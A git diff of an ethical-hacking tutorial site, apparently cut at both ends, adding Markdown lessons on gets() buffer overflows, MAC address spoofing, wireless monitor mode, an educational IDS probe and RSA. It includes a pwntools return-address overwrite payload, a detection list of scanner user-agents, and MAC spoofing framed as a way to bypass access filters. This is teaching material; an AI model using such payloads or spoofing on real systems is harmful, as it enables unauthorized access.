+ {firstLesson && (
+
+ Go to First Lesson
+
+ )}
+
+ }
+ />
+
+
+ );
+};
+
+export default App;
\ No newline at end of file
diff --git a/UI/frontend/src/Pages/Binary_Exploitation/BinaryIntro.jsx b/UI/frontend/src/Pages/Binary_Exploitation/BinaryIntro.jsx
deleted file mode 100644
index 11069bb..0000000
--- a/UI/frontend/src/Pages/Binary_Exploitation/BinaryIntro.jsx
+++ /dev/null
@@ -1,114 +0,0 @@
-import React from 'react';
-import './LessonStyles.css';
-
-const BinaryIntro = () => {
- return (
-
-
Introduction to Buffer Overflow: The Dangerous gets() Function
-
-
-
My First Encounter with Buffer Overflows
-
Let me tell you about the day I accidentally crashed my friend's demo program during a C programming class. I was just trying to input my ridiculously long name, and suddenly—SEGMENTATION FAULT. My friend stared at me in disbelief. That's when I learned about one of the most notorious functions in C: gets().
-
-
-
-
What is a Buffer Overflow?
-
Think of a buffer like a parking lot with exactly 10 spaces. A buffer overflow is like trying to park 15 cars in those 10 spaces—the extra cars spill over into the neighboring area, potentially causing chaos. In programming terms, it's when data exceeds the allocated memory space and overwrites adjacent memory locations.
-
-
-
-
The Culprit: gets() Function
-
The gets() function reads a line from standard input and stores it in a buffer. Sounds innocent, right? WRONG. Here's why it's considered one of the most dangerous functions in C:
-
-
-
-{`char buffer[50];
-gets(buffer); // This is a ticking time bomb!`}
-
-
-
-
The problem? gets() has no bounds checking. It doesn't care if your buffer can hold 50 characters—if you input 100 characters, it'll happily write all 100, obliterating whatever was stored in the memory after your buffer.
-
-
-
-
A Simple Example That Shows the Problem
-
Let me show you a vulnerable program I wrote during my learning journey:
Hacking is getting unauthorized access to a system.
-
Hackers generally are of three types:
-
-
Black Hat: Such hackers generally tend to cause some damage, steal information
-
White Hat: These hakers utilise the hacking knowledge for security/educational purposes
-
Grey Hat: These hackers intrude into systems but don't cause any damage to the sytem, nor steal information.
-
-
Hacking actually do have a really big industry, due to large need of organizations to secure there data, and systems.
-
-
-
-
Setup for learning
-
For, this purpose we will utilise the concept of Virtual Machines, to replicate various systems.
-
Let's discuss each component for this course:
-
-
Host Machine: This is your main PC or Laptop with it's current OS
-
Hacking Machine: [Kali Linux VM] This is the VM from where attack will be executed.
-
-
-
Virtualization
-
Virtualization is the process of creating a virtual version of something, including virtual computer hardware platforms, storage devices, and computer network resources.
-
-
-
-
Introduction to Penetration Testing
-
Penetration testing is a simulated cyber attack against your computer system to check for exploitable vulnerabilities.
-
-
Connecting Wireless adapter to Kali
-
To perform wireless attacks, you need to connect a compatible wireless adapter to your Kali Linux VM.
-
-
Wireless Modes
-
Wireless interfaces can operate in different modes:
-
-
Managed Mode: Normal client mode
-
Monitor Mode: Allows capturing of all wireless traffic
-
-
-
Enabling Monitor Mode on Wireless Adapter
-
Monitor mode is essential for wireless penetration testing as it allows you to capture all wireless traffic in the area.
-
-
-
-
Extras - Learning Section - 🔐 RSA Encryption
-
📌 What is RSA?
-
RSA is a public-key cryptosystem that is widely used for secure data transmission.
-
-
🧮 The Math Behind RSA (Step by Step)
-
Step 1: Pick Two Large Primes ✨
-
Choose two large prime numbers p and q.
-
-
Step 2: Build the Modulus 🔲
-
Calculate n = p × q
-
-
Step 3: Euler Joins the Party 🧑🏫
-
Calculate φ(n) = (p-1)(q-1)
-
-
Step 4: Pick the Public Exponent 🔑
-
Choose e such that 1 < e < φ(n) and gcd(e, φ(n)) = 1
-
-
Step 5: Find the Secret Ingredient 🧙
-
Calculate d such that d × e ≡ 1 (mod φ(n))
-
-
Step 6: Keys Ready 🎉
-
Public key: (n, e), Private key: (n, d)
-
-
Step 7: Encryption & Decryption 🔐
-
Encryption: c = m^e mod n
-
Decryption: m = c^d mod n
-
-
-
- );
-};
-
-export default Lesson01;
\ No newline at end of file
diff --git a/UI/frontend/src/Pages/Ethical_Hacking/Lesson02.jsx b/UI/frontend/src/Pages/Ethical_Hacking/Lesson02.jsx
deleted file mode 100644
index ee68635..0000000
--- a/UI/frontend/src/Pages/Ethical_Hacking/Lesson02.jsx
+++ /dev/null
@@ -1,51 +0,0 @@
-import React from 'react';
-import './LessonStyles.css';
-
-const Lesson02 = () => {
- return (
-
-
Network Reconnaissance and Information Gathering
-
-
-
Introduction to Reconnaissance
-
Reconnaissance is the first phase of penetration testing where we gather information about the target.
-
-
Types of Reconnaissance
-
-
Passive Reconnaissance: Gathering information without directly interacting with the target
-
Active Reconnaissance: Directly probing the target system
-
-
-
-
-
Information Gathering Techniques
-
OSINT (Open Source Intelligence)
-
Collecting publicly available information about the target.
-
-
Tools for Information Gathering
-
-
Google Dorking
-
Shodan
-
TheHarvester
-
Maltego
-
-
-
-
-
DNS Enumeration
-
Domain Name System enumeration to gather information about domain names and IP addresses.
MAC stands for Media Access Control. It is a permanent, physical and unique address assigned to network interfaces by the device manufacturer.
-
-
So, whether you have a wireless card or wired or ethernet card, each of them come with a specific address that is unique to the card, so there are no 2 devices in the world with the same MAC Address.
-
-
This address will always be the same to this specific device, even if we unplug it from our computer, and connect it to another computer. Then this network device will always have the same address.
-
-
-
IP Address: Used to identify computers in the network, and communicate between the devices on the Internet.
-
MAC Address: Used within the network to identify devices and transfer data between them.
-
-
-
Each piece of data or packet that is sent within the network contains a source MAC and Destination MAC. Therefore, this packet will flow from the Source MAC to Destination MAC.
-
-
-
-
Why change MAC Address?
-
Because this is a unique physical address to each interface, to each network device, and used to identify devices, changing it will make you anonymous on the network.
-
-
Benefits of MAC Address Changing:
-
-
Anonymity: Makes you anonymous on the network
-
Impersonation: Lets you impersonate another device
-
Bypass Filters: Allows you to bypass MAC-based access controls
-
Network Access: Connect to networks that only allow specific MAC addresses
-
Hide Identity: Helps hide your identity during penetration testing
-
-
-
-
-
How to change MAC Address?
-
-
Step 1: Check Current Interfaces
-
Run the ifconfig command on the computer. This will list all the interfaces available on the computer. When we say interface, we mean a network card.
-
-
-
ifconfig
-
-
-
When we execute the command it shows eth0 which is a virtual interface. eth0 is not real. It is created by the virtual box, because the VM is set to use a NAT network, by default.
-
-
We can also see lo which is also a virtual interface created by linux.
-
-
Step 2: Disable the Interface
-
To change the MAC Address of the Interface, we must first disable the interface.
-
-
-
ifconfig [interface_name] down
-
-
-
If you don't see any errors, it means the command got executed properly.
-
-
Step 3: Change the MAC Address
-
Now that the interface is disabled, we can modify its options. The option that we want to modify is the ether, which is the MAC Address.
+ );
+}
diff --git a/UI/frontend/src/components/Navbar.css b/UI/frontend/src/components/Navbar.css
new file mode 100644
index 0000000..a5d48ff
--- /dev/null
+++ b/UI/frontend/src/components/Navbar.css
@@ -0,0 +1,86 @@
+.navbar {
+ background-color: var(--bg-secondary);
+ border-bottom: 2px solid var(--accent-green);
+ box-shadow: 0 2px 10px rgba(0, 0, 0, 0.5);
+ position: sticky;
+ top: 0;
+ z-index: 1000;
+ width: 100%;
+}
+
+.navbar-container {
+ max-width: 100%;
+ margin: 0 auto;
+ padding: 1rem 2rem;
+ display: flex;
+ justify-content: space-between;
+ align-items: center;
+}
+
+.navbar-brand {
+ display: flex;
+ align-items: center;
+ gap: 0.5rem;
+ text-decoration: none;
+ color: var(--accent-green);
+ font-size: 1.5rem;
+ font-weight: 700;
+ transition: all 0.3s ease;
+}
+
+.navbar-brand:hover {
+ color: var(--accent-green-light);
+ text-shadow: 0 0 10px rgba(0, 255, 136, 0.5);
+}
+
+.brand-icon {
+ font-family: 'Courier New', monospace;
+}
+
+.navbar-links {
+ display: flex;
+ gap: 1.5rem;
+ align-items: center;
+}
+
+.nav-link {
+ color: var(--text-primary);
+ text-decoration: none;
+ padding: 0.5rem 1rem;
+ border-radius: 6px;
+ transition: all 0.3s ease;
+ border: 1px solid transparent;
+ font-weight: 500;
+ display: flex;
+ align-items: center;
+ gap: 0.5rem;
+}
+
+.nav-link:hover {
+ color: var(--accent-green);
+ border-color: var(--accent-green);
+ background-color: rgba(0, 255, 136, 0.1);
+}
+
+.github-link svg {
+ fill: currentColor;
+}
+
+@media (max-width: 768px) {
+ .navbar-container {
+ padding: 1rem;
+ }
+
+ .navbar-brand {
+ font-size: 1.2rem;
+ }
+
+ .navbar-links {
+ gap: 0.5rem;
+ }
+
+ .nav-link {
+ padding: 0.4rem 0.8rem;
+ font-size: 0.9rem;
+ }
+}
diff --git a/UI/frontend/src/components/Navbar.jsx b/UI/frontend/src/components/Navbar.jsx
new file mode 100644
index 0000000..82df1f5
--- /dev/null
+++ b/UI/frontend/src/components/Navbar.jsx
@@ -0,0 +1,33 @@
+import React from 'react';
+import { Link } from 'react-router-dom';
+import './Navbar.css';
+
+const Navbar = () => {
+ return (
+
+ );
+}
+
+export default Navbar;
\ No newline at end of file
diff --git a/intro-to-binary-exploitation/Intro.MD b/UI/frontend/src/content/MD_Content_ethical-hacking/Binary-Exploitation.MD
similarity index 92%
rename from intro-to-binary-exploitation/Intro.MD
rename to UI/frontend/src/content/MD_Content_ethical-hacking/Binary-Exploitation.MD
index 7e98d92..01d52f0 100644
--- a/intro-to-binary-exploitation/Intro.MD
+++ b/UI/frontend/src/content/MD_Content_ethical-hacking/Binary-Exploitation.MD
@@ -1,3 +1,12 @@
+---
+title: "Introduction to Buffer Overflow"
+slug: "binary-exploitation"
+order: 12
+category: "ethical-hacking"
+prev: "lesson-phising-toolkit"
+next: "port-scanning"
+---
+
# Introduction to Buffer Overflow: The Dangerous `gets()` Function
---
@@ -150,10 +159,17 @@ For example, using tools like `pwntools` in Python:
from pwn import *
# Assuming the binary is vulnerable
-p = process('./poc')
+p = process('/poc')
payload = b'A' * 72 + p64(0xaddress_of_secret_function) # Adjust offset and address
p.sendline(payload)
p.interactive()
```
This PoC illustrates why `gets()` is banned in secure coding—always use `fgets()` instead for bounds-checked input.
+
+---
+
+### Path
+
+<- [Previous Lesson: Phishing Toolkits](/lesson-phising-toolkit.md)
+->[Next Lession: IP & Port Scanning](/python-for-eth-hacking/A-guide-to-port-scanning.md)
diff --git a/UI/frontend/src/content/MD_Content_ethical-hacking/ids-probe-lesson.md b/UI/frontend/src/content/MD_Content_ethical-hacking/ids-probe-lesson.md
new file mode 100644
index 0000000..ad3314c
--- /dev/null
+++ b/UI/frontend/src/content/MD_Content_ethical-hacking/ids-probe-lesson.md
@@ -0,0 +1,296 @@
+---
+title: "IDS Probe — Lesson & How-To"
+slug: "ids-probe-lesson"
+order: 15
+category: "python-for-ethical-hacking"
+prev: "mac-address-changer"
+next: null
+---
+
+# IDS Probe — Lesson & How-To
+
+
+
+- [IDS Probe — Lesson & How-To](#ids-probe---lesson--how-to)
+ - [What is this script?](#what-is-this-script)
+ - [Why we need it](#why-we-need-it)
+ - [Safety & legal note (read first)](#safety--legal-note-read-first)
+ - [Files this lesson refers to](#files-this-lesson-refers-to)
+ - [High-level overview — how it works](#high-level-overview---how-it-works)
+ - [Example alert format](#example-alert-format)
+ - [Demo setup (beginner-friendly walkthrough)](#demo-setup-beginner-friendly-walkthrough)
+ - [Step 1 — Create and prepare a Multipass VM](#step-1--create-and-prepare-a-multipass-vm)
+ - [Step 2 — Inside VM: set up environment](#step-2--inside-vm-set-up-environment)
+ - [Step 3 — Start the IDS probe](#step-3--start-the-ids-probe)
+ - [Step 4 — Run a simple HTTP server](#step-4--run-a-simple-http-server)
+ - [Step 5 — From your host: trigger test requests](#step-5--from-your-host-trigger-test-requests)
+ - [Step 6 — View and copy alerts.json](#step-6--view-and-copy-alertsjson)
+ - [Troubleshooting (common issues & fixes)](#troubleshooting-common-issues--fixes)
+
+
+---
+
+## What is this script?
+
+`ids_probe.py` is a **small, educational Intrusion Detection System (IDS) probe** written in Python using [Scapy].
+It listens for IPv4/TCP packets and writes simple JSON alerts to `alerts.json` when it detects:
+
+- suspicious HTTP `User-Agent` headers (examples: `sqlmap`, `nikto`, `curl`, `wget`)
+- port-scan–like bursts (many destination ports from one source in a short time)
+
+The goal is **learning** — to show how detection works in a single, simple file.
+
+---
+
+## Why we need it
+
+- IDS tools provide _early warning_ for suspicious network activity.
+- This script helps you **understand** what happens under the hood.
+- It’s ideal for learning, small demos, or Hacktoberfest-style beginner contributions.
+
+---
+
+## Safety & legal note (read first)
+
+> ⚠️ Run this only on networks and systems you own or where you have explicit permission.
+> Packet sniffing requires `sudo` (root) privileges.
+> Misuse could be illegal — this is **educational only**.
+
+---
+
+## Files this lesson refers to
+
+- `python-scripts/ids_probe.py` — the IDS probe script.
+- `python-scripts/alerts.json` — alert output file created automatically.
+
+---
+
+## High-level overview — how it works
+
+1. **Capture** packets using Scapy.
+2. **Detect patterns**:
+ - Unusual `User-Agent` headers (often used by scanners/tools)
+ - Too many different destination ports from one source (possible port scan)
+3. **Alert**:
+ - Print a short message in the terminal.
+ - Append a JSON object (with timestamp, src/dst, etc.) to `alerts.json` (NDJSON format).
+
+---
+
+## Example alert format
+
+Each alert is written as one line of JSON (NDJSON). Example:
+
+```json
+{
+ "type": "suspicious_user_agent",
+ "summary": "Suspicious User-Agent 'sqlmap/1.0' from 172.28.208.1",
+ "src_ip": "172.28.208.1",
+ "dst_ip": "172.28.220.131",
+ "dst_port": 8000,
+ "user_agent": "sqlmap/1.0",
+ "detected_at": "2025-10-07T13:31:23.388198Z"
+}
+```
+
+---
+
+# Demo setup (beginner-friendly walkthrough)
+
+Here’s how to run a safe local demo using **Multipass (Ubuntu VM)**. You’ll open **three terminals** — one for each task (the IDS, the HTTP server, and your host commands).
+
+---
+
+## Step 1 — Create and prepare a Multipass VM
+
+Run on your **host** (Windows / Linux / Mac):
+
+```bash
+# Create a small Ubuntu VM
+multipass launch --name ids-test --memory 2G --disk 10G
+
+# Open an interactive shell inside the VM
+multipass shell ids-test
+```
+
+---
+
+## Step 2 — Inside VM: set up environment
+
+Once inside the VM shell, run:
+
+```bash
+# Update package list and install Python tools (if not already installed)
+sudo apt update && sudo apt install -y python3 python3-pip python3-venv
+
+# Create the project folder where the script will live
+mkdir -p ~/hacking-tutorial/python-scripts
+cd ~/hacking-tutorial/python-scripts
+
+# (Optional) If you transferred ids_probe.py into /home/ubuntu, move it into the project folder:
+# mv /home/ubuntu/ids_probe.py ~/hacking-tutorial/python-scripts/ids_probe.py
+
+# Create and activate a Python virtual environment (inside project)
+python3 -m venv venv
+source venv/bin/activate
+
+# Upgrade pip and install runtime dependencies
+pip install --upgrade pip
+pip install scapy requests
+```
+
+Notes:
+
+- Using a virtual environment keeps dependencies isolated from the system Python.
+- Scapy sometimes requires root to sniff packets — we'll run the script with `sudo` in Step 3.
+
+---
+
+## Step 3 — Start the IDS probe (Window A — keep this open)
+
+In Window A (VM shell that will run the IDS):
+
+```bash
+cd ~/hacking-tutorial/python-scripts
+
+# Run the IDS with sudo but use the venv python binary (keeps environment clean)
+# This preserves PATH so the venv Python is used while still giving root privileges for packet sniffing.
+sudo env "PATH=$PATH" ~/hacking-tutorial/python-scripts/venv/bin/python ids_probe.py
+```
+
+You should see output similar to:
+
+```
+Starting tiny IDS probe. Alerts will be written to: alerts.json
+Press Ctrl+C to stop. Run only on authorized networks.
+```
+
+Keep this window open — it prints live alerts and appends to `alerts.json`.
+
+---
+
+## Step 4 — Run a simple HTTP server (Window B — keep this open)
+
+Open Window B (a second VM shell) and run:
+
+```bash
+multipass shell ids-test # open a second shell if not already open
+cd ~/hacking-tutorial/python-scripts
+python3 -m http.server 8000 --bind 0.0.0.0
+```
+
+You should see:
+
+```
+Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
+```
+
+Keep this window open — it logs incoming HTTP GETs and is the target for our test requests.
+
+---
+
+## Step 5 — From your host: trigger test requests (Window C)
+
+On your host machine (PowerShell or terminal), run:
+
+```powershell
+# Find VM IP address (on host)
+multipass info ids-test | Select-String -Pattern IPv4
+
+# Replace below with the printed IP (example shown)
+$VM_IP = "172.28.220.131"
+
+# Normal request (no alert expected)
+curl.exe -4 "http://$VM_IP:8000/"
+
+# Suspicious request that should trigger a User-Agent alert
+curl.exe -4 -H "User-Agent: sqlmap/1.0" "http://$VM_IP:8000/"
+```
+
+If you are on macOS / Linux just use `curl` instead of `curl.exe`.
+
+Return to Window A (IDS) — you should see a console alert and an entry appended to `alerts.json`.
+
+---
+
+## Step 6 — View and copy alerts.json
+
+In the VM (Window A or a new shell):
+
+```bash
+cd ~/hacking-tutorial/python-scripts
+
+# View alerts written by the IDS (NDJSON lines)
+sudo cat alerts.json
+```
+
+Example NDJSON line:
+
+```
+{"type":"suspicious_user_agent","summary":"Suspicious User-Agent 'sqlmap/1.0' from 172.28.208.1","src_ip":"172.28.208.1","dst_ip":"172.28.220.131","dst_port":8000,"user_agent":"sqlmap/1.0","detected_at":"2025-10-07T13:31:23.388198Z"}
+```
+
+To copy the file to your Windows host for screenshots or later review:
+
+```powershell
+# Run on the host
+multipass transfer ids-test:/home/ubuntu/hacking-tutorial/python-scripts/alerts.json C:\Users\\Desktop\alerts.json
+```
+
+If `alerts.json` is owned by `root` and transfer fails, change ownership inside VM before transfer:
+
+```bash
+sudo chown ubuntu:ubuntu alerts.json
+```
+
+---
+
+## Troubleshooting (common issues & fixes)
+
+**Permission denied when starting IDS**
+
+→ Run with sudo as shown:
+
+```bash
+sudo env "PATH=$PATH" ~/hacking-tutorial/python-scripts/venv/bin/python ids_probe.py
+```
+
+**No alerts appear**
+
+→ Confirm the HTTP server logged the GET. If the server logged the GET but IDS didn't: run a packet capture in VM to verify payload reached the interface:
+
+```bash
+sudo tcpdump -A -s 0 'tcp port 8000' -c 8
+```
+
+**alerts.json not visible on host**
+
+→ The file is inside the VM; use `multipass transfer` (see Step 6) to copy it.
+
+**alerts.json owned by root and won't copy**
+
+→ Change ownership inside VM before transfer:
+
+```bash
+sudo chown ubuntu:ubuntu alerts.json
+```
+
+**curl error: "No host part"**
+
+→ Ensure `$VM_IP` is set correctly and your URL is `http://$VM_IP:8000/` (not just `http:///`).
+
+**Multipass mounts fail on Windows**
+
+→ Use `multipass transfer` instead; enabling mounts requires extra host configuration.
+
+---
+
+## Final notes
+
+This lesson is intentionally small and focused. If you'd like, I can:
+
+- Review or lint the `ids_probe.py` script itself.
+- Add comments inside the script explaining each detection step.
+- Extend alerts to include lossless PCAP logging or CSV output.
+
+Tell me which improvement you'd like next.
diff --git a/UI/frontend/src/content/MD_Content_ethical-hacking/image.png b/UI/frontend/src/content/MD_Content_ethical-hacking/image.png
new file mode 100644
index 0000000..da6e871
Binary files /dev/null and b/UI/frontend/src/content/MD_Content_ethical-hacking/image.png differ
diff --git a/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-01.md b/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-01.md
new file mode 100644
index 0000000..f7c358c
--- /dev/null
+++ b/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-01.md
@@ -0,0 +1,409 @@
+---
+title: "Getting Started with Ethical Hacking"
+slug: "lesson-01"
+order: 1
+category: "ethical-hacking"
+prev: null
+next: "lesson-02"
+---
+
+# Getting Started with Ethical Hacking
+
+
+
+
+- [Getting Started with Ethical Hacking](#getting-started-with-ethical-hacking)
+ - [Setup for learning](#setup-for-learning)
+ - [Virtualization](#virtualization)
+- [Introduction to Penetration Testing](#introduction-to-penetration-testing)
+ - [Connecting Wireless adapter to Kali ](#connecting-wireless-adapter-to-kali-)
+ - [Wireless Modes](#wireless-modes)
+ - [Enabling Monitor Mode on Wireless Adapter](#enabling-monitor-mode-on-wireless-adapter)
+- [Extras - Learning Section -🔐 RSA Encryption](#extras---learning-section---rsa-encryption)
+ - [📌 What is RSA?](#-what-is-rsa)
+ - [🧮 The Math Behind RSA (Step by Step)](#-the-math-behind-rsa-step-by-step)
+ - [Step 1: Pick Two Large Primes ✨](#step-1-pick-two-large-primes-)
+ - [Step 2: Build the Modulus 🔲](#step-2-build-the-modulus-)
+ - [Step 3: Euler Joins the Party 🧑🏫](#step-3-euler-joins-the-party-)
+ - [Step 4: Pick the Public Exponent 🔑](#step-4-pick-the-public-exponent-)
+ - [Step 5: Find the Secret Ingredient 🧙](#step-5-find-the-secret-ingredient-)
+ - [Step 6: Keys Ready 🎉](#step-6-keys-ready-)
+ - [Step 7: Encryption \& Decryption 🔐](#step-7-encryption--decryption-)
+ - [Toy Example (Small Numbers)](#toy-example-small-numbers)
+ - [🚨 When Does RSA Fail?](#-when-does-rsa-fail)
+ - [📚 Further Reading](#-further-reading)
+ - [🎯 Key Takeaways](#-key-takeaways)
+ - [Path](#path)
+
+---
+
+
+
+
+- Hacking is getting unauthorized access to a system.
+- Hackers generally are of three types:
+
+ - Black Hat: Such hackers generally tend to cause some damage, steal information
+ - White Hat: These hakers utilise the hacking knowledge for security/educational purposes
+ - Grey Hat: These hackers intrude into systems but don't cause any damage to the sytem, nor steal information.
+
+- Hacking actually do have a really big industry, due to large need of organizations to secure there data, and systems.
+
+## Setup for learning
+
+- For, this purpose we will utilise the concept of Virtual Machines, to replicate various systems.
+- Let's discuss each component for this course:
+
+ - Host Machine: This is your main PC or Laptop with it's current OS
+ - 
+ - Hacking Machine: [Kali Linux VM] This is the VM from where attack will be executed.
+ - Target Machine: The Machines which we will be trying to hack into.
+
+ - We will be using 2 target machines for this course.
+
+ - 
+ - Metasploitable
+
+
+
+### Virtualization
+
+ 
+
+- What we are utilising here to have these VMs is called Virtualization. Virtualization allows you to Run Guest OS on top of Hypervisor over Host OS. This is different from concept of Containerizartion, where we run apps over the Docker Engine, and all apps sharing a common Host OS. This is not the case with Virtualization.
+
+- Virtualization allows us to install a number of operating system inside your current OS.
+- Each machine has it's own resources and fucntions like a real machine.
+
+ - This mahchine is completely isolated from the Host OS, and hence maikes task of testing much easier.
+ - It makes the issues caused due to any issues, easier to fix using th concept of snapshots.
+
+---
+
+# Introduction to Penetration Testing
+
+- In this section, we will maily cover three topics:
+
+ - Pre-Connection Attacks
+ - Gaining Access
+ - Post Connection Attacks
+
+- Before, diving deep let's revise the basics of the networks.
+- Let's try to understand a scenario where there are multiple, client systems, now these client systems actually wnat to have reach to the resources over the internet for which there needs to be a `server`. Let's say for now this resource is internet in our case. So, the router will act as `server` for the clients to reach to the internet. You can also refer to this router as an `access point`
+
+- This router or server is the only device, that havse access to the resource or the internet, so none of these clients has direct access to the resource, even after connecting to the network.
+
+- Let's say so all the client are connected to this router, and you search `google.com`. The Client will send a request to the `access point` searching for `google.com`. The router will take this request, and look for `google.com` over the internet.
+
+- It will recieve `google.com` from the internet, and will forward that response to our computer, and as a result we will see the website loading on our browser.
+
+ 
+
+
+## Connecting Wireless adapter to Kali 
+
+- Why we need `wireless adapter`:
+
+ - Network Hacking > Gaining Access > WEP Cracking
+ - Network Hacking > Gaining Access > WPA/WPA2 Cracking
+
+- The Wireless Adapter must support:
+
+ - Monitor Mode
+ - Packet Injection
+ - Monitor Mode
+ - AP Mode
+
+- The Brand of the Adapter doesn't matter, but it should have either of the chipset:
+
+ - Realtek RTL8812AU
+ - Atheros AR9271
+
+- To connect the Wireless Adapter to Kali, follow these steps:
+
+ 1. Plug in the Wireless Adapter to your Host Machine.
+ 2. Open VirtualBox and select your Kali VM.
+ 3. Go to `Settings` > `USB`.
+ 4. Enable USB Controller and add a new USB filter for your Wireless Adapter.
+ 5. Start your Kali VM and check if the adapter is recognized using the command:
+
+ ```bash
+ ifconfig
+ ```
+
+- For mac, thie USB Controller is automatically enabled, so you don't need to do anything. Just plug in the Wireless Adapter and it will be recognized by Kali.
+
+- Now, we run the python script to change the MAC address of the Wireless Adapter:
+
+ ```bash
+ /root/PycharmProjects/hacking-tutorial/.venv/bin/python /root/PycharmProjects/hacking-tutorial/mac-address-change.py
+ Enter the interface name (e.g., eth0, wlan0): wlan0
+ Enter the new MAC address (format: xx:xx:xx:xx:xx:xx): 00:11:22:33:44:55
+ [+] Changing MAC address of wlan0 to 00:11:22:33:44:55
+ [+] MAC address changed successfully
+ New MAC address for wlan0 is 00:11:22:33:44:55
+ wlan0: flags=4099 mtu 2312
+ ether 00:11:22:33:44:55 txqueuelen 1000 (Ethernet)
+ RX packets 0 bytes 0 (0.0 B)
+ RX errors 0 dropped 0 overruns 0 frame 0
+ TX packets 0 bytes 0 (0.0 B)
+ TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
+
+ [+] Verification complete for wlan0.
+
+ Process finished with exit code 0
+ ```
+
+- As, you can see now the MAC address of the Wireless Adapter has been changed to `00:11:22:33:44:55`.
+
+## Wireless Modes
+
+- So, we now know that a machine will only recieve the packets if the Destination MAC address of the packet matches with the MAC address of the machine. But, what if we want to capture all the packets that are being sent over the network, even if they are not meant for our machine? This is where Wireless Modes come into play.
+
+- Run the following command to check the current mode of your Wireless Adapter, and wireless interfaces only:
+
+ ```bash
+ root@kali:~# iwconfig
+ lo no wireless extensions.
+
+ eth0 no wireless extensions.
+
+ wlan0 unassociated ESSID:"" Nickname:""
+ Mode:Managed Frequency=2.412 GHz Access Point: Not-Associated
+ Sensitivity:0/0
+ Retry:off RTS thr:off Fragment thr:off
+ Encryption key:off
+ Power Management:off
+ Link Quality:0 Signal level:0 Noise level:0
+ Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
+ Tx excessive retries:0 Invalid misc:0 Missed beacon:0
+ ```
+
+- We can see out Wireless adapter `wlan0`, which is set to `Mode:Managed`. This means that the Wireless Adapter is currently in Managed Mode, which is the default mode for most wireless adapters. In this mode, the adapter can only communicate with the access point it is connected to.
+
+- This also means this device will only capture packets that has the Destination MAC as MAC Address of this device. What we want is to be able to capture all the packets that are within our range, even if they are sent to the router, and even if there Destination MAC Address is set to other device. For this we need to change the mode of our Wireless Adapter to `Monitor Mode`.
+
+### Enabling Monitor Mode on Wireless Adapter
+
+- To enable Monitor Mode on your Wireless Adapter, run the following command:
+
+ ```bash
+ root@kali:~# ifconfig wlan0 down
+ root@kali:~# airmon-ng check kill
+
+ Killing these processes:
+
+ PID Name
+ 3171 wpa_supplicant
+
+ root@kali:~# iwconfig wlan0 mode monitor
+ root@kali:~# ifconfig wlan0 up
+ root@kali:~# iwconfig
+ lo no wireless extensions.
+
+ eth0 no wireless extensions.
+
+ wlan0 IEEE 802.11b ESSID:"" Nickname:""
+ Mode:Monitor Frequency:2.412 GHz Access Point: Not-Associated
+ Sensitivity:0/0
+ Retry:off RTS thr:off Fragment thr:off
+ Encryption key:off
+ Power Management:off
+ Link Quality:0 Signal level:0 Noise level:0
+ Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
+ Tx excessive retries:0 Invalid misc:0 Missed beacon:0
+ ```
+
+- First, we disable the Wireless Adapter using `ifconfig wlan0 down`.
+- Then, we run `airmon-ng check kill` to kill any processes that might interfere with the Wireless Adapter.
+- After that, we change the mode of the Wireless Adapter to `Monitor Mode` using:
+
+ ```bash
+ iwconfig wlan0 mode monitor
+ ```
+
+- Finally, we enable the Wireless Adapter again using `ifconfig wlan0 up`.
+- Now, if we run `iwconfig` again, we can see that the mode of the Wireless Adapter has been changed to `Monitor Mode`.
+
+---
+
+# Extras - Learning Section -🔐 RSA Encryption
+
+### 📌 What is RSA?
+
+RSA (named after its inventors: **Rivest, Shamir, and Adleman**) is one of the most famous **public-key cryptosystems** in the world.
+
+It is used for:
+* 📨 **Encryption:** Send secret messages that only the right person can read.
+* ✍️ **Digital Signatures:** Prove a message really came from you.
+* 🔑 **Key Exchange:** Share keys safely for other ciphers (like AES).
+
+👉 Unlike **symmetric encryption** (same key for both sides), RSA uses **two keys**:
+* **Public key:** (share with the world 🌍). Used to encrypt.
+* **Private key:** (keep locked away 🔒). Used to decrypt.
+
+---
+
+## 🧮 The Math Behind RSA (Step by Step)
+
+RSA’s strength comes from the fact that it’s **easy to multiply big primes** but **hard to factor them back**. Let’s see how the keys are built:
+
+#### Step 1: Pick Two Large Primes ✨
+Choose two secret primes:
+\[
+p, \ q
+\]
+> In the real world, these are HUGE (hundreds of digits long).
+
+---
+
+#### Step 2: Build the Modulus 🔲
+\[
+n = p \times q
+\]
+This number \( n \) is part of both the public and private keys.
+
+---
+
+#### Step 3: Euler Joins the Party 🧑🏫
+Compute **Euler’s totient**:
+\[
+\varphi(n) = (p-1)(q-1)
+\]
+This is how many numbers less than \( n \) are “coprime” with it.
+
+---
+
+#### Step 4: Pick the Public Exponent 🔑
+Choose \( e \), such that:
+\[
+gcd(e, \varphi(n)) = 1
+\]
+In other words, \( e \) and \( \varphi(n) \) don’t share factors.
+Popular choices: \( e = 3 \) or \( e = 65537 \) (fast and secure).
+
+---
+
+#### Step 5: Find the Secret Ingredient 🧙
+Compute the **private exponent** \( d \) by solving:
+\[
+d \times e \equiv 1 \ (\text{mod } \varphi(n))
+\]
+This means \( d \) is the **modular inverse** of \( e \).
+Finding \( d \) is easy if you know \( \varphi(n) \), but impossible without factoring \( n \)!
+
+---
+
+#### Step 6: Keys Ready 🎉
+* **Public Key:** \((e, n)\) → “lock” (anyone can use it).
+* **Private Key:** \((d, n)\) → “key” (only you can unlock).
+
+---
+
+#### Step 7: Encryption & Decryption 🔐
+* **Encryption (lock it):**
+\[
+C = M^e \ \text{mod } n
+\]
+
+* **Decryption (unlock it):**
+\[
+M = C^d \ \text{mod } n
+\]
+
+Magic: thanks to modular arithmetic, this always works!
+
+---
+
+``` mermaid
+flowchart TD
+
+ A[🔐 Start: RSA Key Generation] --> B[✨ Pick two large primes p & q]
+ B --> C[🔲 Compute modulus n = p * q]
+ C --> D[🧑🏫 Compute Euler's totient φ of n = p-1 * q-1]
+ D --> E[🔑 Choose public exponent e = 3 or 65537]
+ E --> F[🧙 Find private exponent d such that d * e ≡ 1 mod φ of n]
+ F --> G[🎉 Keys Ready]
+
+ G --> H1[🌍 Public Key: e , n]
+ G --> H2[🔒 Private Key: d , n]
+
+ H1 --> I1[📤 Encryption: C = M^e mod n]
+ H2 --> I2[📥 Decryption: M = C^d mod n]
+
